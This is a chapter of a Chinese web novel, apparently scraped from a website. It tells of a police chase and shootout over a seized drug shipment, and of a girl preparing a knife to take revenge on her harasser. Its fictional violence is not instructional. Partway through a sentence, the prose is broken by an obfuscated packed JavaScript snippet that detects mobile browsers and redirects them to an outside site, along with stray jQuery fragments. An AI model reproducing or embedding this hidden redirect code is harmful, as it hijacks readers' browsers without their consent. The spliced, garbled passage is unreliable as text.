36. 命悬一线
作品:《极昼》 “下雨了?”杨奇抱着一个纸箱边说边赶紧跑上车。
林月递给他毛巾,“擦擦,东西没淋到吧。”
杨奇摇头,“没,纸箱外面一点点而已,里面都是玻璃瓶,没事的。”
林月边启动车,边说,“真没想到,这次能发现一大箱听话水。多亏了热心群众举报说在郊外的垃圾桶旁边发现了一个大箱子,不然这箱东西怕是要被流入市场。”
“他们太可恶了,就这么明目张胆地交易。”
林月叹了一口气,“最近查得严,他们交易收到阻碍,估计是想铤而走险。俗话说得好,最危险的地方,就是最安全的地方。很显然他们还忘了一句话,叫人民群众的眼睛都是雪亮的。”
杨奇乐得直发笑, “已经通知上面了,上面已经派人去现场了。我们得赶紧把东西拿回去做检测。”
林月看着窗外,“嗯,我已经打过电话给检验科了。”
一滴水珠落在挡风镜前面,然后大滴大滴的雨掉在地上,“啪啪”的打在车的挡风镜上。
林月道: “要下大雨了。”
“下雨不好开,你小心点。”杨奇看着雨,忽然轻啧了一下,“那么顺利的吗,我怎么有种不好的预感呢、”
林月道,“顺利还不好,别乱说。”
杨奇“呸”了几声,“哎,郊外离市里面还是有些距离的。”
林月专心开车,“放心,我技术是可以的。”
杨奇笑了一下,随后用手机和领导报告情况。
林月随便和他闲聊,“我最近在我家附近发现了一只小奶猫。”
“什么猫?”
“橘猫,很凶,猫妈妈估计是附近的流浪猫,不过不知道去哪了。她一个小家伙可怜兮兮的,我觉得她可怜就把她带回来了。哎,现在想想,我之后哪有时间养她啊。”
杨奇,“那你不想养?”
“也没有不想吧,但没空啊。”
“我以前也有养狗,叫小球,是只小土狗。很听话。”
“然后呢?”
“寿终正寝了。”
“那挺好的,小橘太小了,我想着先养几天,再找领养。但……”林月说起这个就头疼,“这小家伙最近来乱尿,还尿我床上。”
杨奇乐,“那是在标记领地。”
“她还到处躲,我本来都没觉得我家有多大,现在可好,找起来,我感觉我家就像个大别墅一样。”
“你找到领养了吗?”
林月摇头,“没有,但是我感觉找不到。”
杨奇犹豫了一下,刚想说什么,就听见林月说,“感觉找不到了,我买了个监控,放在家里,实在不行就这么养着吧。”
杨奇笑,“那挺好的。”
车子又行驶了一段距离,忽然林月道,“你觉不觉得有些不对劲。”
“什么?”杨奇立马端坐起来。
林月看着后视镜,“好像有人在跟着我们。”
杨奇也看向后视镜,发现磅礴的大雨里,身后的不远程有一辆黑色的轿车在不远不近地跟着他们。林月把车子开往左边,黑色轿车野跟着开往左边,林月把车子开往右边,车子也跟着开往右边。他们都发觉了不对劲。
“来抢东西的?”杨奇摸出别在腰上的枪。
林月道,“八九不离十。”
杨奇拿出呼叫机,和上面报告了他们的情况,并要求支援。
杨奇说,“上面派最近的人过来了,他们估计也知道我们发现了他们。车速明显变快了。”
林月看着越来越逼近的黑色轿车,踩下了油门,把距离一下拉远了。他们的车掀起一路的水花,后面的黑色轿车也加快了车速,快速赶超上来。
“他爷爷的,简直就是不怕死的。”
林月的表情镇定又严肃,“这一箱子的量不少,他们不甘心。”
杨奇抓着把手,一边维持着身体的平衡,一边用对讲机说着他们的情况。对面的同事一边引导他们怎么做,一边问情况。
“大概有多少人?”
“不确定,前面都坐了人,后面应该也有。不知道是否持枪,但很大可能是持有的……”
林月踩着油门,一路飞驰着,一边躲避着黑色轿车的挑衅。这个时候是既是速度的比拼也是胆量的比拼,大雨给她们的行驶增添了难度,但是他们都知道车上那箱东西的重要性。这个时候,他们都庆幸这里不是城区,不然要是发生枪战,估计事情很麻烦。
前方传来刺眼的灯光,是必经之路--高架桥。
林月和杨奇皱起了没有,“混蛋,他们故意的。是想在这里动手。”
这是唯一的一条路,不出意料,后面的追兵会在这里行动。他们别无选择。
杨奇的脸色差到极点,林月的脸色也好不到哪里去,“只能赌一把了。”
高架桥高达几十米,几乎没什么车辆和人。一旦在这里发生碰撞,他们很有可能掉下水里。他们只能赌,林月把车拐了一个S弯,车子轮胎发出摩擦声听起来惊心动魄。
距离拉远了一点,但是效果并不明显,后面的车又迅速行驶了上来,隐隐有碰撞的嫌疑。杨奇抓紧上方的把手,深吸一口气,“他们可能要撞车了。”
林月把油门踩到了最尽头,“拼了。”
杨奇苦笑,“我们该不会在这里……”
“想点好的。”林月直视前方,雨刮器不断地刮着前方的雨水,二人看着后面不断追上来的车碰撞挑衅,心里渐渐沉了下去。
“不会有事的。”
但是事情往往往最坏的方向发展,前面远远的驶来了一辆面包车,直直地朝他们撞过来,林月大惊,她猛打方向盘,刺眼的灯光亮起,林月眯起了眼睛……
雨夜,靳母吃完晚饭又出去加班了,她嘱咐靳昔有事给她打电话,然后就进了雨幕之中。靳昔在窗户前看着靳母的身影越来越远,她慢慢地放下窗帘。她拿出准备好的背包,然后拿着雨伞,也出了门。
“靳昔?”邻居阿姨有些不太确定地问。
靳昔藏在冲锋衣下面的下巴露出来,“是我。”
“这么晚了怎么还出门啊?”
靳昔笑笑,“我妈妈忘带东西了,我给她送去。”
邻居阿姨点点头,嘱咐道,“那你小心一点。”
“好。”
下了楼梯,靳昔变得面无表情。老旧的小区被小雨给掩盖着,天上黑糊糊的一片,看起来有些压抑。周围很暗,老旧的路灯投射出的光在雨水的遮挡下,显得更暗了。靳昔打开伞,踏进雨水之中。
“去哪啊?”司机问刚上车的小姑娘,后面的那个穿黑色衣服的小姑娘,淡淡地说,“××小区。”
夜晚一个看着不大的小姑娘独自出门,司机想到家里的女儿不免又多问了一句,"去哪干嘛啊?"
“找人。”
司机问,“亲戚?”
“嗯。”
司机不多问了,但还是下意识地往后看了几眼后面的小姑娘,很漂亮的眼睛,只是太过黑白分明,在黑暗中,看着有些莫名地渗人。下巴藏在衣服领子里面,旁边放着一个黑色的背包。
应该是去亲戚家借住的,司机不想其他,认真开车。路上的车很少,大雨给交通带来了很多麻烦,靳昔在路过一座高架桥的时候,看到另一边车道,有人出了车祸。几辆警车封锁了那边的车道,十几个警察在封锁现场。
四脚朝天的车里面应该有人,消防员和吊车正在施救。救护车闪烁着光,现场的气氛很是压抑。
司机的车速降了下来,叹了一口气,“应该是被撞到桥下面了。”
靳昔闻言看去,果然有一处的围栏被撞歪了。司机还在叹气,“估计掉下去了……”
靳昔收回目光,又看向正在走动的警察,被撞倒的白车,看不清车牌,只能看到驾驶座那一边似乎已经燃起了大火。前面有交警正在维持交通,司机又加快了速度。靳昔淡淡地把视线收回来。
于怀才正在看着电视,这是他的习惯,电视上面正在报道今日发生的本市新闻,“泰德股份有限公司在政府大厅签订参与我市建设的城市工程协议,其中的条款包括各大公共设施……时间为十年,这次企业与政府的成功对接,让其他企业看到了F市政府的决心,给更多企业入驻本市增添了信心。我们也希望更多企业能够参与进来,互利共赢,更多的惠民工程层出不穷……”
于怀才边喝啤酒,边点评,“呵,什么破企业。”
新闻的声音从未关闭的窗户挤出,与淅沥的雨声汇集在一起,老旧的小区,老保安正在保安亭里面昏昏欲睡,收音机里女主播字正腔圆的声音更加助眠,“我市组织部部长赵强出席第五届春城之使发布会,春城之使举办以来,大力带动了我市的地上产业的发展……”
一滴雨水从高处的天花板的一处缝隙渗入,慢慢汇集成一大滴,“啪”的一声打在老保安的头上,他猛地惊醒。收音机里面的新闻早就已经播完,现在是午夜电台,老保安打了一个长长的哈欠,浑浊的眼睛看了一眼还在下的雨,又看了一眼关着的铁门,没人进来,他满意地又换了个姿势,睡下了。
淅淅沥沥的水打在地上,于怀才洗着热水澡,花洒的水威力很大,他洗完澡随便穿了件T恤走了出去。
他拿毛巾慢慢地擦着滴水的头发,夜已经很深了,外面的雨慢慢地停了下来。外面的排水管正在排水,阳台上的遮雨帘上的雨水一滴一滴地滴在地上。
“哒,哒,哒……”
于怀才擦着头发,忽然他的动作一顿,不自觉地看向门口。刚才的雨滴声似乎变了一下,错觉吗?
“啪,啪,啪……”不,这不是雨滴声,这是脚步声,他放下毛巾,脚步声是从门外传来的。他放下毛巾,静静地看着外面……
“滋——”拉链慢慢拉开,包里面的东西此刻显现在眼前,绳子,刀,还有一些其他的工具。
靳昔很认真地挑选着自己等会要用到的东西,她最后选了一把锋利的刀,刀的银光折射出靳昔的眼睛,那双黑白分明的眼睛里面都是冷静。
她并没有失去理智,她这些天想了很多种可能,但是没有一种可能能让她满意。
事情的脉络已经很清楚了——原主察觉到于怀才的骚扰,她惶恐不安,买了摄像头,家里是疑神疑鬼的靳母,学校里面是心怀不轨的于怀才。
她惶恐却又不知道怎么办,只能用笨拙的方法保护自己。但是心里的压力如同一把剪刀悬挂在她头上。在她掉下楼的那座楼里,靳昔想不到她遭受了什么。
她死了,然后她来了。
如果死都不怕的话,靳昔把刀放进口袋,看着楼道尽头的那个关着的门,那么杀人又算得了什么。
如果伤害她的人不能受到加倍的痛苦的话,那么她不介意用她自己的方式去还给自己一个公道。
于怀才听着脚步声在他家门口停下,外面的水滴声依旧。忽然他有一种强烈的不好的预感,他把手里的毛巾随手一扔,说实话,他很不喜欢这个感觉。
“喂,谁啊?”
没有任何回应,安静了几秒,就在于怀才怀疑自己是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462911|169153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
幻听的时候,忽然梦外响起了敲门声。
他被吓了一条,皱着眉扶着墙,语气不善,“谁啊,大晚上的?”
敲门声很有规律,一下又一下,像是不着急。
但是于怀才却鸡皮疙瘩都起来了,怒火一点一点往上涨,“他妈的,到底是谁啊?”
敲门声停了下来,于怀才大骂,“神经病。”
他刚要拿起毛巾继续擦头发,忽然门外的声音以一种很急促的节奏响了起来。一下又一下,在黑暗的夜里格外刺耳,像来锁魂的幽灵。他狠皱着眉,脸色变得格外难看。
怒火和不安让他格外暴躁,他猛地扔掉毛巾,嘴里骂骂咧咧,“他妈的,到底是谁?!”
他走到门口,透过猫眼看向外面,却发现一片漆黑。他皱眉,此刻他也意识到了什么——有人堵住了猫眼。他想冷静下来,心里依旧不安,他思索了一下,想去报警,但是想了想又放弃了。
这里是老小区,那个老保安不知道把什么人放进来了,他心里一边骂一边拿起门口的木棍。他的手慢慢地放到门把手上,额头不自觉地流出了汗。
随着他的手慢慢地按下,门锁“啪”的一声开了,他谨慎地打开……
林月抱着箱子一路上磕磕绊绊地跑着,她一边跑一边忍着腿上的剧痛。
刚才发生的事情还让她没缓过来,前方的面包车出现后,她就立即打了方向盘。但还是被前后巨大的冲力给撞到,情急之下,她猛地再次打方向盘,并踩下油门。于是车子机以斜着的姿势往栏杆去开。
前后的车眼看情况不对,立加大速度,然后……前后巨大的冲力直接将车子顶了起来,一个翻转,车子在空中旋转了一圈,倒在了地上。而那辆面包车和黑色轿车的司机,还没来得及露出笑容,两辆车在惯性之下撞到一起,更恐怖的是那辆面包车直接被顶得节节后退。
车上的司机一边大骂,一边急踩刹车,却不想刚才在刚才的碰撞之中,刹车系统被撞坏了。黑色轿车急忙打方向盘,却不想阴差阳错地转到了旁边的栏杆,“啪”的一声,栏杆上的水泥破碎,黑色车直直地掉了下去。
面包车上的人在看到同伴掉下去之后,急忙停下,在栏杆处徘徊。黑色的水面上,看不到任何东西。但是不难想象黑色车上的人的命运。他们咬了咬牙,为首的一个男人说,“别管了,这么大的动静,警察很快就来了,赶紧找东西。”
剩下的人急忙去翻四脚朝天的车,还未靠近,“啪”的一声,一个子弹打进了一个马仔的腿里,他哀嚎一声,剩下的人瞬间警惕。
“小心,警察还活着。”
几人小心地退后,然后谨慎地绕着周围。
又一颗子弹打出来,这次打到了一个马仔的手臂上。罪犯们赶紧散开,一个马仔小心翼翼地探出头,“啪”的一声为被打到了眼睛。没人干出去。为首的男人大骂,“他奶奶的。”
他们不敢上前,有东西被扔了过来,是刀具和棍棒。林月的腿被压到了,一条腿没有了知觉。外面没有动静,她透过后视镜看到有人小心翼翼地从车的另一边过来了。
她知道自己的处境很危险,她的离开这里。
林月强行破开车窗,无数的玻璃碎渣四处溅飞,罪犯们看到立即冲了上来。林月趴着又往她最近的一个马仔开了一枪。马仔倒地,后面的人的行动犹豫了几秒。林月乘机忍着剧痛从里面快速爬出来。
她爬出来的这个功夫,有马仔又冲上来,冲她狠踢了一脚。她猛地滚了一圈,勉强逃过。她怀里抱着纸箱,头上血淋淋的,脑袋还很晕。罪犯还剩下四个,她还受着伤,处境怎么都对她不利。
但是她狠厉地看着逐渐向她靠近的几个人,举起枪,“想拿东西,没门!”
为首的男人嗤笑,慢悠悠地说,“你只有一个人,枪里面的子弹已经没有了吧。”
林月往前“呸”了一声,一口血水被吐出,她冷笑,“还是够拿下你们的命,不怕死的就上来。”
黑乎乎的枪口指着几个罪犯,几个马仔犹豫地徘徊。为首的男人冷笑,“她要是真的还有子弹,早就开枪了。”有些马仔有些犹豫,有人慢慢地上前。林月冷笑,心里却沉到了谷底,确实她枪里面的子弹没有了。为首的男人忽然怒喝,“谁拿到货,钱翻十倍。”
一群亡命之徒,林月大骂。被利益冲昏了头脑的人干出些什么来,她都不震惊。
林月开了枪里面的最后一颗子弹,然后迅速扭头拼命地跑。但她的腿受着伤,眼看就要被追上。
忽然离林月最近的一个马仔猛地倒地,再看他的胸口,有了一个黑乎乎的洞。
杨奇一上半身身体趴在地上,另一半身体被卡在车里面。他的眼睛上都是血,血淋淋的手握着枪,靠着模糊的视线打了这一枪。
后面的罪犯发现了他,他又开了一枪。林月有了逃跑的机会,她回头看了一眼,杨奇的意识已经很模糊了,但还是对她微动了动唇,“快……跑。”
他们得有一个人跑掉。
有几个的马仔跑了回去,林月看到杨奇狠狠地被踹了几脚,嘴角吐出很多血,枪被踢掉,他挣扎着却无济于事。
杨奇已经成了血人,但他还是伸出手拉住了那个离他最近的人。
剩下的人追着林月,高架桥很长,只有一条笔直的路可以走。林月很快就被逼到了栏杆处,为首的那个男人恶狠狠地看着她,眼睛起了杀心,“妈的,他妈的,非得弄死你们不哭!”
林月已经退无可退,她看着越来越近的罪犯,忽然冷笑一声,然后纵身一跃,从桥上跳了下去。